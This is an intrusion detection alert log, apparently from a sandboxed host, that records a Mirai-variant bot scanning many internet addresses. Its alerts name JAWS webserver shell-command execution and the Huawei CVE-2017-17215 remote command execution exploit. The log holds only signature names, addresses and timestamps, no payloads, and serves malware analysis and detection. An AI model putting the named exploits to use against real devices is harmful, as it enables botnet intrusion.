2024-12-03T22:17:26.524512+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52820	129.149.237.7	80	TCP
2024-12-03T22:17:26.524512+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52820	129.149.237.7	80	TCP
2024-12-03T22:17:26.524601+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39402	116.202.231.245	80	TCP
2024-12-03T22:17:26.524601+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39402	116.202.231.245	80	TCP
2024-12-03T22:17:26.524764+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46824	205.252.97.206	80	TCP
2024-12-03T22:17:26.524764+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46824	205.252.97.206	80	TCP
2024-12-03T22:17:26.525069+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57808	81.57.120.155	80	TCP
2024-12-03T22:17:26.525069+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57808	81.57.120.155	80	TCP
2024-12-03T22:17:26.525087+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50334	152.208.229.121	80	TCP
2024-12-03T22:17:26.525087+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50334	152.208.229.121	80	TCP
2024-12-03T22:17:26.530425+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55708	176.120.199.56	80	TCP
2024-12-03T22:17:26.530425+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55708	176.120.199.56	80	TCP
2024-12-03T22:17:26.539411+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47960	93.194.123.76	80	TCP
2024-12-03T22:17:26.539411+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47960	93.194.123.76	80	TCP
2024-12-03T22:17:26.539627+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48330	9.161.88.229	80	TCP
2024-12-03T22:17:26.539627+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48330	9.161.88.229	80	TCP
2024-12-03T22:17:26.546051+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34732	88.39.75.127	80	TCP
2024-12-03T22:17:26.546051+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34732	88.39.75.127	80	TCP
2024-12-03T22:17:26.546122+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49074	27.241.250.97	80	TCP
2024-12-03T22:17:26.546122+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49074	27.241.250.97	80	TCP
2024-12-03T22:17:26.555231+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46752	188.44.76.82	80	TCP
2024-12-03T22:17:26.555231+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46752	188.44.76.82	80	TCP
2024-12-03T22:17:26.555339+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54972	179.29.60.116	80	TCP
2024-12-03T22:17:26.555339+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54972	179.29.60.116	80	TCP
2024-12-03T22:17:26.555603+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43326	136.1.157.45	80	TCP
2024-12-03T22:17:26.555603+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43326	136.1.157.45	80	TCP
2024-12-03T22:17:26.555736+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49126	115.174.254.9	80	TCP
2024-12-03T22:17:26.555736+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49126	115.174.254.9	80	TCP
2024-12-03T22:17:26.555908+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50414	205.7.167.33	80	TCP
2024-12-03T22:17:26.555908+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50414	205.7.167.33	80	TCP
2024-12-03T22:17:26.556188+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42924	96.211.14.136	80	TCP
2024-12-03T22:17:26.556188+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42924	96.211.14.136	80	TCP
2024-12-03T22:17:26.561647+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55370	222.149.156.59	80	TCP
2024-12-03T22:17:26.561647+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55370	222.149.156.59	80	TCP
2024-12-03T22:17:26.562032+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40044	52.243.132.90	80	TCP
2024-12-03T22:17:26.562032+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40044	52.243.132.90	80	TCP
2024-12-03T22:17:26.570798+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44772	167.48.89.11	80	TCP
2024-12-03T22:17:26.570798+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44772	167.48.89.11	80	TCP
2024-12-03T22:17:26.571191+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51124	73.34.85.148	80	TCP
2024-12-03T22:17:26.571191+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51124	73.34.85.148	80	TCP
2024-12-03T22:17:26.586504+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38336	2.132.182.104	80	TCP
2024-12-03T22:17:26.586504+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38336	2.132.182.104	80	TCP
2024-12-03T22:17:26.586538+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43984	184.133.164.172	80	TCP
2024-12-03T22:17:26.586538+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43984	184.133.164.172	80	TCP
2024-12-03T22:17:26.602131+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34674	119.62.113.148	80	TCP
2024-12-03T22:17:26.602131+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34674	119.62.113.148	80	TCP
2024-12-03T22:17:26.749406+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36326	104.129.192.30	80	TCP
2024-12-03T22:17:26.749406+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36326	104.129.192.30	80	TCP
2024-12-03T22:17:26.749518+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60334	1.48.153.31	80	TCP
2024-12-03T22:17:26.749518+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60334	1.48.153.31	80	TCP
2024-12-03T22:17:26.764892+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42330	193.81.123.155	80	TCP
2024-12-03T22:17:26.764892+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42330	193.81.123.155	80	TCP
2024-12-03T22:17:26.765066+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47286	132.121.27.126	80	TCP
2024-12-03T22:17:26.765066+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47286	132.121.27.126	80	TCP
2024-12-03T22:17:26.765428+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42252	40.201.96.69	80	TCP
2024-12-03T22:17:26.765428+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42252	40.201.96.69	80	TCP
2024-12-03T22:17:26.765614+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44292	147.169.251.3	80	TCP
2024-12-03T22:17:26.765614+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44292	147.169.251.3	80	TCP
2024-12-03T22:17:26.774039+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48524	85.166.29.88	80	TCP
2024-12-03T22:17:26.774039+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48524	85.166.29.88	80	TCP
2024-12-03T22:17:26.796259+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51890	152.18.186.52	80	TCP
2024-12-03T22:17:26.796259+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51890	152.18.186.52	80	TCP
2024-12-03T22:17:26.814309+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33484	180.33.117.141	80	TCP
2024-12-03T22:17:26.814309+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33484	180.33.117.141	80	TCP
2024-12-03T22:17:26.821008+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42958	31.153.242.177	80	TCP
2024-12-03T22:17:26.821008+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42958	31.153.242.177	80	TCP
2024-12-03T22:17:27.546201+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60112	208.160.36.110	80	TCP
2024-12-03T22:17:27.546201+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60112	208.160.36.110	80	TCP
2024-12-03T22:17:27.603258+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53184	23.65.54.78	80	TCP
2024-12-03T22:17:27.603258+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53184	23.65.54.78	80	TCP
2024-12-03T22:17:27.868161+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47950	128.53.112.203	80	TCP
2024-12-03T22:17:27.868161+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47950	128.53.112.203	80	TCP
2024-12-03T22:17:27.868168+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46160	50.40.222.218	80	TCP
2024-12-03T22:17:27.868168+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46160	50.40.222.218	80	TCP
2024-12-03T22:17:27.868187+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41558	159.129.33.57	80	TCP
2024-12-03T22:17:27.868187+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41558	159.129.33.57	80	TCP
2024-12-03T22:17:27.868189+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52214	74.140.209.201	80	TCP
2024-12-03T22:17:27.868189+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52214	74.140.209.201	80	TCP
2024-12-03T22:17:27.868193+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45414	119.7.68.108	80	TCP
2024-12-03T22:17:27.868193+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45414	119.7.68.108	80	TCP
2024-12-03T22:17:27.868193+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55606	130.99.153.145	80	TCP
2024-12-03T22:17:27.868193+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55606	130.99.153.145	80	TCP
2024-12-03T22:17:27.868195+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38814	213.127.9.244	80	TCP
2024-12-03T22:17:27.868195+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38814	213.127.9.244	80	TCP
2024-12-03T22:17:27.868232+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57972	4.20.92.223	80	TCP
2024-12-03T22:17:27.868232+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57972	4.20.92.223	80	TCP
2024-12-03T22:17:27.868233+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47590	76.92.78.112	80	TCP
2024-12-03T22:17:27.868233+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47590	76.92.78.112	80	TCP
2024-12-03T22:17:27.868346+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56860	53.16.184.81	80	TCP
2024-12-03T22:17:27.868346+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57376	140.209.104.129	80	TCP
2024-12-03T22:17:27.868346+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57376	140.209.104.129	80	TCP
2024-12-03T22:17:27.868346+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56860	53.16.184.81	80	TCP
2024-12-03T22:17:27.868348+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36240	95.242.147.177	80	TCP
2024-12-03T22:17:27.868348+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36240	95.242.147.177	80	TCP
2024-12-03T22:17:27.868404+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43478	122.93.228.248	80	TCP
2024-12-03T22:17:27.868404+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43478	122.93.228.248	80	TCP
2024-12-03T22:17:27.868480+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49214	219.175.97.71	80	TCP
2024-12-03T22:17:27.868480+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49214	219.175.97.71	80	TCP
2024-12-03T22:17:27.884681+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47268	99.147.210.38	80	TCP
2024-12-03T22:17:27.884681+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47268	99.147.210.38	80	TCP
2024-12-03T22:17:27.915236+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59144	166.63.105.98	80	TCP
2024-12-03T22:17:27.915236+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59144	166.63.105.98	80	TCP
2024-12-03T22:17:28.514799+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33834	151.51.89.72	80	TCP
2024-12-03T22:17:28.514799+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33834	151.51.89.72	80	TCP
2024-12-03T22:17:28.524144+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58542	83.86.34.10	80	TCP
2024-12-03T22:17:28.524144+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58542	83.86.34.10	80	TCP
2024-12-03T22:17:28.530399+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59800	46.71.5.56	80	TCP
2024-12-03T22:17:28.530399+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59800	46.71.5.56	80	TCP
2024-12-03T22:17:28.530641+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43584	88.81.6.185	80	TCP
2024-12-03T22:17:28.530641+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43584	88.81.6.185	80	TCP
2024-12-03T22:17:28.530873+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52350	211.150.95.162	80	TCP
2024-12-03T22:17:28.530873+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52350	211.150.95.162	80	TCP
2024-12-03T22:17:28.545985+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55088	197.148.94.127	80	TCP
2024-12-03T22:17:28.545985+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55088	197.148.94.127	80	TCP
2024-12-03T22:17:28.546181+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55098	193.157.209.116	80	TCP
2024-12-03T22:17:28.546181+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55098	193.157.209.116	80	TCP
2024-12-03T22:17:28.561632+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39322	216.253.100.18	80	TCP
2024-12-03T22:17:28.561632+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39322	216.253.100.18	80	TCP
2024-12-03T22:17:28.561975+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54680	27.102.158.52	80	TCP
2024-12-03T22:17:28.561975+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54680	27.102.158.52	80	TCP
2024-12-03T22:17:28.561993+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36022	104.35.149.162	80	TCP
2024-12-03T22:17:28.561993+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36022	104.35.149.162	80	TCP
2024-12-03T22:17:28.562017+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51440	1.52.172.135	80	TCP
2024-12-03T22:17:28.562017+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51440	1.52.172.135	80	TCP
2024-12-03T22:17:28.586439+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42808	170.77.116.127	80	TCP
2024-12-03T22:17:28.586439+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42808	170.77.116.127	80	TCP
2024-12-03T22:17:28.586527+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35946	130.49.81.238	80	TCP
2024-12-03T22:17:28.586527+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35946	130.49.81.238	80	TCP
2024-12-03T22:17:28.592866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40542	65.194.145.240	80	TCP
2024-12-03T22:17:28.592866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40542	65.194.145.240	80	TCP
2024-12-03T22:17:28.593006+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40340	213.151.138.127	80	TCP
2024-12-03T22:17:28.593006+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40340	213.151.138.127	80	TCP
2024-12-03T22:17:28.593280+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42166	189.137.32.26	80	TCP
2024-12-03T22:17:28.593280+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42166	189.137.32.26	80	TCP
2024-12-03T22:17:28.593393+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50824	34.161.39.6	80	TCP
2024-12-03T22:17:28.593393+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50824	34.161.39.6	80	TCP
2024-12-03T22:17:28.593495+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53992	165.123.114.131	80	TCP
2024-12-03T22:17:28.593495+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53992	165.123.114.131	80	TCP
2024-12-03T22:17:28.593667+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53002	54.67.175.4	80	TCP
2024-12-03T22:17:28.593667+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53002	54.67.175.4	80	TCP
2024-12-03T22:17:28.602051+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38844	153.143.252.155	80	TCP
2024-12-03T22:17:28.602051+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38844	153.143.252.155	80	TCP
2024-12-03T22:17:28.602136+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51316	198.209.119.52	80	TCP
2024-12-03T22:17:28.602136+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51316	198.209.119.52	80	TCP
2024-12-03T22:17:28.602232+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35174	121.31.140.125	80	TCP
2024-12-03T22:17:28.602232+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35174	121.31.140.125	80	TCP
2024-12-03T22:17:28.602324+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36726	65.145.54.83	80	TCP
2024-12-03T22:17:28.602324+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36726	65.145.54.83	80	TCP
2024-12-03T22:17:28.602453+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33010	4.190.171.51	80	TCP
2024-12-03T22:17:28.602453+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33010	4.190.171.51	80	TCP
2024-12-03T22:17:28.602534+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55452	66.188.144.201	80	TCP
2024-12-03T22:17:28.602534+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55452	66.188.144.201	80	TCP
2024-12-03T22:17:28.602620+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56882	201.128.240.190	80	TCP
2024-12-03T22:17:28.602620+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56882	201.128.240.190	80	TCP
2024-12-03T22:17:28.602760+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53938	167.66.184.221	80	TCP
2024-12-03T22:17:28.602760+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53938	167.66.184.221	80	TCP
2024-12-03T22:17:28.617650+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60414	24.130.50.119	80	TCP
2024-12-03T22:17:28.617650+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60414	24.130.50.119	80	TCP
2024-12-03T22:17:28.617741+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56770	84.64.138.174	80	TCP
2024-12-03T22:17:28.617741+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56770	84.64.138.174	80	TCP
2024-12-03T22:17:28.618004+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39636	159.94.198.206	80	TCP
2024-12-03T22:17:28.618004+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39636	159.94.198.206	80	TCP
2024-12-03T22:17:28.633814+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51468	174.205.29.201	80	TCP
2024-12-03T22:17:28.633814+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51468	174.205.29.201	80	TCP
2024-12-03T22:17:28.633835+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49068	145.181.27.62	80	TCP
2024-12-03T22:17:28.633835+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49068	145.181.27.62	80	TCP
2024-12-03T22:17:28.680318+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53620	41.134.113.101	37215	TCP
2024-12-03T22:17:28.690800+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45950	31.44.219.148	80	TCP
2024-12-03T22:17:28.690800+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45950	31.44.219.148	80	TCP
2024-12-03T22:17:28.780818+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44874	173.230.202.47	80	TCP
2024-12-03T22:17:28.780818+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44874	173.230.202.47	80	TCP
2024-12-03T22:17:28.814523+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33834	64.128.159.239	80	TCP
2024-12-03T22:17:28.814523+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33834	64.128.159.239	80	TCP
2024-12-03T22:17:28.819043+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55146	152.101.156.152	80	TCP
2024-12-03T22:17:28.819043+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55146	152.101.156.152	80	TCP
2024-12-03T22:17:28.820842+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43798	197.132.81.161	80	TCP
2024-12-03T22:17:28.820842+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43798	197.132.81.161	80	TCP
2024-12-03T22:17:28.825955+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33582	58.186.27.28	80	TCP
2024-12-03T22:17:28.825955+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33582	58.186.27.28	80	TCP
2024-12-03T22:17:28.827205+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38550	132.72.173.54	80	TCP
2024-12-03T22:17:28.827205+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38550	132.72.173.54	80	TCP
2024-12-03T22:17:28.852128+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33266	41.52.97.205	80	TCP
2024-12-03T22:17:28.852128+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33266	41.52.97.205	80	TCP
2024-12-03T22:17:28.868121+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54226	75.133.121.183	80	TCP
2024-12-03T22:17:28.868121+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54226	75.133.121.183	80	TCP
2024-12-03T22:17:28.874326+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36082	197.113.251.30	37215	TCP
2024-12-03T22:17:28.890157+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35462	41.7.189.101	37215	TCP
2024-12-03T22:17:28.899202+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50056	199.210.40.19	80	TCP
2024-12-03T22:17:28.899202+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50056	199.210.40.19	80	TCP
2024-12-03T22:17:28.952386+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57134	197.45.37.40	37215	TCP
